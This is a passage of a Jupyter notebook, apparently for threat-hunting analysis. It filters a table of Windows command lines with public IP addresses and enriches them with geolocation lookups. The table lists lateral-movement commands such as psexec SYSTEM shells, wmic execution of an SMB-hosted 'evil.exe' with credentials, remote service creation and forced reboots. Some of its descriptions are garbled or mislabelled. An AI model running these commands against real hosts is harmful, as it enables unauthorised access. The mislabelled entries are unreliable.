       "      <td>45.248.64.126</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>134</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 103.252.142.21 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "      <td>1</td>\n",
       "      <td>103.252.142.21</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>135</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 103.252.142.21 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>103.252.142.21</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>136</th>\n",
       "      <td>tftp.exe</td>\n",
       "      <td>tftp -I 103.252.142.21 GET remotefile</td>\n",
       "      <td>TFTP file transfer</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>103.252.142.21</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>137</th>\n",
       "      <td>wmic.exe</td>\n",
       "      <td>wmic /node: 103.252.142.21 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"</td>\n",
       "      <td>Execute file hosted over SMB on remote system with specified credentials</td>\n",
       "      <td>WMIC COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>103.252.142.21</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>138</th>\n",
       "      <td>xcopy.exe</td>\n",
       "      <td>xcopy /s \\\\ 103.252.142.21 \\dir C:\\local</td>\n",
       "      <td>Copy remote folder</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>103.252.142.21</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>139</th>\n",
       "      <td>reg.exe</td>\n",
       "      <td>reg add \\\\ 43.229.95.19 \\ regkej \\ value</td>\n",
       "      <td>Add registry key remotely</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>140</th>\n",
       "      <td>reg.exe</td>\n",
       "      <td>reg query\\\\ 43.229.95.19 \\ RegDomain \\ Key /v</td>\n",
       "      <td>Query remote registry</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>141</th>\n",
       "      <td>sc.exe</td>\n",
       "      <td>sc \\\\ 43.229.95.19 create service</td>\n",
       "      <td>Create a remote service</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>142</th>\n",
       "      <td>shutdown.exe</td>\n",
       "      <td>shutdown /m \\\\ 43.229.95.19 /r /t 0 /f</td>\n",
       "      <td>Remotely reboot machine</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>143</th>\n",
       "      <td>systeminfo.exe</td>\n",
       "      <td>systeminfo /S 43.229.95.19 /U domain\\user /P Pwd</td>\n",
       "      <td>Remote system info</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>144</th>\n",
       "      <td>systeminfo.exe</td>\n",
       "      <td>systeminfo /S 43.229.95.19 /U domain\\user /P Pwd</td>\n",
       "      <td>Remote systeminfo</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>145</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 43.229.95.19 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>146</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 43.229.95.19 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>147</th>\n",
       "      <td>tftp.exe</td>\n",
       "      <td>tftp -I 43.229.95.19 GET remotefile</td>\n",
       "      <td>TFTP file transfer</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>148</th>\n",
       "      <td>wmic.exe</td>\n",
       "      <td>wmic /node: 43.229.95.19 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"</td>\n",
       "      <td>Execute file hosted over SMB on remote system with specified credentials</td>\n",
       "      <td>WMIC COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>149</th>\n",
       "      <td>xcopy.exe</td>\n",
       "      <td>xcopy /s \\\\ 43.229.95.19 \\dir C:\\local</td>\n",
       "      <td>Copy remote folder</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>150</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\43.229.95.19 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>151</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\43.229.95.19 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>152</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net share \\\\ 43.229.95.19</td>\n",
       "      <td>Shares of remote computer</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>153</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net time \\\\43.229.95.19</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>154</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use \\\\ 43.229.95.19</td>\n",
       "      <td>Remote filesystem (IPC$)</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>43.229.95.19</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>155</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net time \\\\142.93.221.91</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>156</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use \\\\ 142.93.221.91</td>\n",
       "      <td>Remote filesystem (IPC$)</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>157</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use z: \\\\ 142.93.221.91 \\share password</td>\n",
       "      <td>Map drive specified</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>158</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface 142.93.221.91 set address local dhcp</td>\n",
       "      <td>Set interface to use DHCP</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>159</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface 142.93.221.91 show interfaces</td>\n",
       "      <td>List interface IDs/MTUs</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>160</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 142.93.221.91 -s cmd.exe</td>\n",
       "      <td>RUN REMOTE COMMAND AS SYSTEM</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>161</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 142.93.221.91 -u Domain\\user -p Lt1 C:\\Progr-1</td>\n",
       "      <td>RUN REMOTE COMMAND WITH SPECIFIED HASH</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>162</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 142.93.221.91 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe</td>\n",
       "      <td>EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>142.93.221.91</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>163 rows × 7 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "            Exename  \\\n",
       "0    netsh.exe        \n",
       "1    powershell.exe   \n",
       "2    at.exe           \n",
       "3    at.exe           \n",
       "4    psexec.exe       \n",
       "5    psexec.exe       \n",
       "6    psexec.exe       \n",
       "7    reg.exe          \n",
       "8    wmic.exe         \n",
       "9    xcopy.exe        \n",
       "10   net.exe          \n",
       "11   net.exe          \n",
       "12   net.exe          \n",
       "13   netsh.exe        \n",
       "14   netsh.exe        \n",
       "15   psexec.exe       \n",
       "16   psexec.exe       \n",
       "17   psexec.exe       \n",
       "18   tasklist.exe     \n",
       "19   tftp.exe         \n",
       "20   wmic.exe         \n",
       "21   xcopy.exe        \n",
       "22   net.exe          \n",
       "23   net.exe          \n",
       "24   net.exe          \n",
       "25   netsh.exe        \n",
       "26   psexec.exe       \n",
       "27   reg.exe          \n",
       "28   systeminfo.exe   \n",
       "29   tasklist.exe     \n",
       "..            ...     \n",
       "133  systeminfo.exe   \n",
       "134  tasklist.exe     \n",
       "135  tasklist.exe     \n",
       "136  tftp.exe         \n",
       "137  wmic.exe         \n",
       "138  xcopy.exe        \n",
       "139  reg.exe          \n",
       "140  reg.exe          \n",
       "141  sc.exe           \n",
       "142  shutdown.exe     \n",
       "143  systeminfo.exe   \n",
       "144  systeminfo.exe   \n",
       "145  tasklist.exe     \n",
       "146  tasklist.exe     \n",
       "147  tftp.exe         \n",
       "148  wmic.exe         \n",
       "149  xcopy.exe        \n",
       "150  at.exe           \n",
       "151  at.exe           \n",
       "152  net.exe          \n",
       "153  net.exe          \n",
       "154  net.exe          \n",
       "155  net.exe          \n",
       "156  net.exe          \n",
       "157  net.exe          \n",
       "158  netsh.exe        \n",
       "159  netsh.exe        \n",
       "160  psexec.exe       \n",
       "161  psexec.exe       \n",
       "162  psexec.exe       \n",
       "\n",
       "                                                                                                      commandline  \\\n",
       "0    netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1                                  \n",
       "1    New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i                                      \n",
       "2    at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                                       \n",
       "3    at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"              \n",
       "4    psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe                                                                 \n",
       "5    psexec /accepteula \\\\ 76.76.163.112 -u Domain\\user -p Lt1 C:\\Progr-1                                           \n",
       "6    psexec /accepteula \\\\ 76.76.163.112 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe                  \n",
       "7    reg add \\\\ 64.119.205.26 \\ regkej \\ value                                                                      \n",
       "8    wmic /node: 64.119.205.26 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"    \n",
       "9    xcopy /s \\\\ 64.119.205.26 \\dir C:\\local                                                                        \n",
       "10   net time \\\\190.197.26.39                                                                                       \n",
       "11   net use \\\\ 190.197.26.39                                                                                       \n",
       "12   net use z: \\\\ 190.197.26.39 \\share password                                                                    \n",
       "13   netsh interface 190.197.26.39 set address local dhcp                                                           \n",
       "14   netsh interface 190.197.26.39 show interfaces                                                                  \n",
       "15   psexec /accepteula \\\\ 190.197.26.39 -s cmd.exe                                                                 \n",
       "16   psexec /accepteula \\\\ 190.197.26.39 -u Domain\\user -p Lt1 C:\\Progr-1                                           \n",
       "17   psexec /accepteula \\\\ 190.197.26.39 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe                  \n",
       "18   tasklist /S 61.6.206.57 /v                                                                                     \n",
       "19   tftp -I 61.6.206.57 GET remotefile                                                                             \n",
       "20   wmic /node: 61.6.206.57 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"      \n",
       "21   xcopy /s \\\\ 61.6.206.57 \\dir C:\\local                                                                          \n",
       "22   net time \\\\154.66.173.171                                                                                      \n",
       "23   net use \\\\ 154.66.173.171                                                                                      \n",
       "24   net use z: \\\\ 154.66.173.171 \\share password                                                                   \n",
       "25   netsh interface 154.66.173.171 set address local dhcp                                                          \n",
       "26   psexec /accepteula \\\\ 154.66.173.171 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe                 \n",
       "27   reg add \\\\ 208.168.243.90 \\ regkej \\ value                                                                     \n",
       "28   systeminfo /S 208.168.243.90 /U domain\\user /P Pwd                                                             \n",
       "29   tasklist /S 208.168.243.90 /v                                                                                  \n",
       "..                             ...                                                                                  \n",
       "133  systeminfo /S 45.248.64.126 /U domain\\user /P Pwd                                                              \n",
       "134  tasklist /S 103.252.142.21 /v                                                                                  \n",
       "135  tasklist /S 103.252.142.21 /v                                                                                  \n",
       "136  tftp -I 103.252.142.21 GET remotefile                                                                          \n",
       "137  wmic /node: 103.252.142.21 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"   \n",
       "138  xcopy /s \\\\ 103.252.142.21 \\dir C:\\local                                                                       \n",
       "139  reg add \\\\ 43.229.95.19 \\ regkej \\ value                                                                       \n",
       "140  reg query\\\\ 43.229.95.19 \\ RegDomain \\ Key /v                                                                  \n",
       "141  sc \\\\ 43.229.95.19 create service                                                                              \n",
       "142  shutdown /m \\\\ 43.229.95.19 /r /t 0 /f                                                                         \n",
       "143  systeminfo /S 43.229.95.19 /U domain\\user /P Pwd                                                               \n",
       "144  systeminfo /S 43.229.95.19 /U domain\\user /P Pwd                                                               \n",
       "145  tasklist /S 43.229.95.19 /v                                                                                    \n",
       "146  tasklist /S 43.229.95.19 /v                                                                                    \n",
       "147  tftp -I 43.229.95.19 GET remotefile                                                                            \n",
       "148  wmic /node: 43.229.95.19 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"     \n",
       "149  xcopy /s \\\\ 43.229.95.19 \\dir C:\\local                                                                         \n",
       "150  at \\\\43.229.95.19 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                                        \n",
       "151  at \\\\43.229.95.19 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"               \n",
       "152  net share \\\\ 43.229.95.19                                                                                      \n",
       "153  net time \\\\43.229.95.19                                                                                        \n",
       "154  net use \\\\ 43.229.95.19                                                                                        \n",
       "155  net time \\\\142.93.221.91                                                                                       \n",
       "156  net use \\\\ 142.93.221.91                                                                                       \n",
       "157  net use z: \\\\ 142.93.221.91 \\share password                                                                    \n",
       "158  netsh interface 142.93.221.91 set address local dhcp                                                           \n",
       "159  netsh interface 142.93.221.91 show interfaces                                                                  \n",
       "160  psexec /accepteula \\\\ 142.93.221.91 -s cmd.exe                                                                 \n",
       "161  psexec /accepteula \\\\ 142.93.221.91 -u Domain\\user -p Lt1 C:\\Progr-1                                           \n",
       "162  psexec /accepteula \\\\ 142.93.221.91 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe                  \n",
       "\n",
       "                                                                  description  \\\n",
       "0    remove port forwarding                                                     \n",
       "1    PERSISTENT PSDRIVE TO REMOTE FILE SHARE                                    \n",
       "2    TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "3    TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "4    RUN REMOTE COMMAND AS SYSTEM                                               \n",
       "5    RUN REMOTE COMMAND WITH SPECIFIED HASH                                     \n",
       "6    EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS            \n",
       "7    Add registry key remotely                                                  \n",
       "8    Execute file hosted over SMB on remote system with specified credentials   \n",
       "9    Copy remote folder                                                         \n",
       "10   TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "11   Remote filesystem (IPC$)                                                   \n",
       "12   Map drive specified                                                        \n",
       "13   Set interface to use DHCP                                                  \n",
       "14   List interface IDs/MTUs                                                    \n",
       "15   RUN REMOTE COMMAND AS SYSTEM                                               \n",
       "16   RUN REMOTE COMMAND WITH SPECIFIED HASH                                     \n",
       "17   EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS            \n",
       "18   Remote process listing                                                     \n",
       "19   TFTP file transfer                                                         \n",
       "20   Execute file hosted over SMB on remote system with specified credentials   \n",
       "21   Copy remote folder                                                         \n",
       "22   TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "23   Remote filesystem (IPC$)                                                   \n",
       "24   Map drive specified                                                        \n",
       "25   Set interface to use DHCP                                                  \n",
       "26   EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS            \n",
       "27   Add registry key remotely                                                  \n",
       "28   Remote systeminfo                                                          \n",
       "29   Remote process listing                                                     \n",
       "..                      ...                                                     \n",
       "133  Remote systeminfo                                                          \n",
       "134  Remote process listing                                                     \n",
       "135  Remote process listing                                                     \n",
       "136  TFTP file transfer                                                         \n",
       "137  Execute file hosted over SMB on remote system with specified credentials   \n",
       "138  Copy remote folder                                                         \n",
       "139  Add registry key remotely                                                  \n",
       "140  Query remote registry                                                      \n",
       "141  Create a remote service                                                    \n",
       "142  Remotely reboot machine                                                    \n",
       "143  Remote system info                                                         \n",
       "144  Remote systeminfo                                                          \n",
       "145  Remote process listing                                                     \n",
       "146  Remote process listing                                                     \n",
       "147  TFTP file transfer                                                         \n",
       "148  Execute file hosted over SMB on remote system with specified credentials   \n",
       "149  Copy remote folder                                                         \n",
       "150  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "151  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "152  Shares of remote computer                                                  \n",
       "153  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "154  Remote filesystem (IPC$)                                                   \n",
       "155  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)                        \n",
       "156  Remote filesystem (IPC$)                                                   \n",
       "157  Map drive specified                                                        \n",
       "158  Set interface to use DHCP                                                  \n",
       "159  List interface IDs/MTUs                                                    \n",
       "160  RUN REMOTE COMMAND AS SYSTEM                                               \n",
       "161  RUN REMOTE COMMAND WITH SPECIFIED HASH                                     \n",
       "162  EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS            \n",
       "\n",
       "               category  HasIP       IPAddress  IPType  \n",
       "0    MISC. COMMANDS      1      1.1.1.1         Public  \n",
       "1    POWERSHELL          1      1.1.1.1         Public  \n",
       "2    POWERSHELL          1      76.76.163.112   Public  \n",
       "3    POWERSHELL          1      76.76.163.112   Public  \n",
       "4    PSEXEC REMOTING     1      76.76.163.112   Public  \n",
       "5    PSEXEC REMOTING     1      76.76.163.112   Public  \n",
       "6    PSEXEC REMOTING     1      76.76.163.112   Public  \n",
       "7    WINDOWS REMOTING    1      64.119.205.26   Public  \n",
       "8    WMIC COMMANDS       1      64.119.205.26   Public  \n",
       "9    WINDOWS REMOTING    1      64.119.205.26   Public  \n",
       "10   POWERSHELL          1      190.197.26.39   Public  \n",
       "11   WINDOWS REMOTING    1      190.197.26.39   Public  \n",
       "12   WINDOWS REMOTING    1      190.197.26.39   Public  \n",
       "13   NETWORK INFO        1      190.197.26.39   Public  \n",
       "14   NETWORK INFO        1      190.197.26.39   Public  \n",
       "15   PSEXEC REMOTING     1      190.197.26.39   Public  \n",
       "16   PSEXEC REMOTING     1      190.197.26.39   Public  \n",
       "17   PSEXEC REMOTING     1      190.197.26.39   Public  \n",
       "18   WINDOWS REMOTING    1      61.6.206.57     Public  \n",
       "19   NETWORK INFO        1      61.6.206.57     Public  \n",
       "20   WMIC COMMANDS       1      61.6.206.57     Public  \n",
       "21   WINDOWS REMOTING    1      61.6.206.57     Public  \n",
       "22   POWERSHELL          1      154.66.173.171  Public  \n",
       "23   WINDOWS REMOTING    1      154.66.173.171  Public  \n",
       "24   WINDOWS REMOTING    1      154.66.173.171  Public  \n",
       "25   NETWORK INFO        1      154.66.173.171  Public  \n",
       "26   PSEXEC REMOTING     1      154.66.173.171  Public  \n",
       "27   WINDOWS REMOTING    1      208.168.243.90  Public  \n",
       "28   WINDOWS REMOTING    1      208.168.243.90  Public  \n",
       "29   WINDOWS SYSTEMINFO  1      208.168.243.90  Public  \n",
       "..                  ... ..                 ...     ...  \n",
       "133  WINDOWS REMOTING    1      45.248.64.126   Public  \n",
       "134  WINDOWS SYSTEMINFO  1      103.252.142.21  Public  \n",
       "135  WINDOWS REMOTING    1      103.252.142.21  Public  \n",
       "136  NETWORK INFO        1      103.252.142.21  Public  \n",
       "137  WMIC COMMANDS       1      103.252.142.21  Public  \n",
       "138  WINDOWS REMOTING    1      103.252.142.21  Public  \n",
       "139  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "140  WINDOWS SYSTEMINFO  1      43.229.95.19    Public  \n",
       "141  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "142  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "143  WINDOWS SYSTEMINFO  1      43.229.95.19    Public  \n",
       "144  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "145  WINDOWS SYSTEMINFO  1      43.229.95.19    Public  \n",
       "146  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "147  NETWORK INFO        1      43.229.95.19    Public  \n",
       "148  WMIC COMMANDS       1      43.229.95.19    Public  \n",
       "149  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "150  POWERSHELL          1      43.229.95.19    Public  \n",
       "151  POWERSHELL          1      43.229.95.19    Public  \n",
       "152  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "153  POWERSHELL          1      43.229.95.19    Public  \n",
       "154  WINDOWS REMOTING    1      43.229.95.19    Public  \n",
       "155  POWERSHELL          1      142.93.221.91   Public  \n",
       "156  WINDOWS REMOTING    1      142.93.221.91   Public  \n",
       "157  WINDOWS REMOTING    1      142.93.221.91   Public  \n",
       "158  NETWORK INFO        1      142.93.221.91   Public  \n",
       "159  NETWORK INFO        1      142.93.221.91   Public  \n",
       "160  PSEXEC REMOTING     1      142.93.221.91   Public  \n",
       "161  PSEXEC REMOTING     1      142.93.221.91   Public  \n",
       "162  PSEXEC REMOTING     1      142.93.221.91   Public  \n",
       "\n",
       "[163 rows x 7 columns]"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#Boolean creation to filter out only command lines having Public IP Addresses\n",
    "public_ip=df_ip_filtered['IPType']==\"Public\"\n",
    "df_publicip_filtered=df_ip_filtered[public_ip]\n",
    "df_publicip_filtered = df_publicip_filtered.reset_index(drop=True)\n",
    "df_publicip_filtered"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [],
   "source": [
    "#Print column Datatypes\n",
    "#print(df.dtypes)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l3.3\">\n",
    "\n",
    "## 3.3 IP Whois Lookups:\n",
    ">\t* IP Stack is a free API based service which provides geolovation information. Sign up to get a ***ACCESS_KEY***.\n",
    ">\t* ***API documentation*** : https://ipstack.com/documentation\n",
    ">\t* Only specifc fields (```country_code, country_name,latitude,logitude```) have been requested via API"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [],
   "source": [
    "def ip_whoislookup(ipaddress):\n",
    "    \"\"\" function to do whois Lookups on IP Address dataset using IPStack API \"\"\"\n",
    "    filtered_fields = 'country_code,country_name,latitude,longitude'\n",
    "    api = 'http://api.ipstack.com/' + ipaddress + '?access_key=' + ipstack_access_key +'&fields='+filtered_fields \n",
    "    result = urllib.request.urlopen(api).read()\n",
    "    result = result.decode()\n",
    "    result = json.loads(result)\n",
    "\n",
    "    return result"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Exename</th>\n",
       "      <th>commandline</th>\n",
       "      <th>description</th>\n",
       "      <th>category</th>\n",
       "      <th>HasIP</th>\n",
       "      <th>IPAddress</th>\n",
       "      <th>IPType</th>\n",
       "      <th>IPWhois</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1</td>\n",
       "      <td>remove port forwarding</td>\n",
       "      <td>MISC. COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>powershell.exe</td>\n",
       "      <td>New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i</td>\n",
       "      <td>PERSISTENT PSDRIVE TO REMOTE FILE SHARE</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
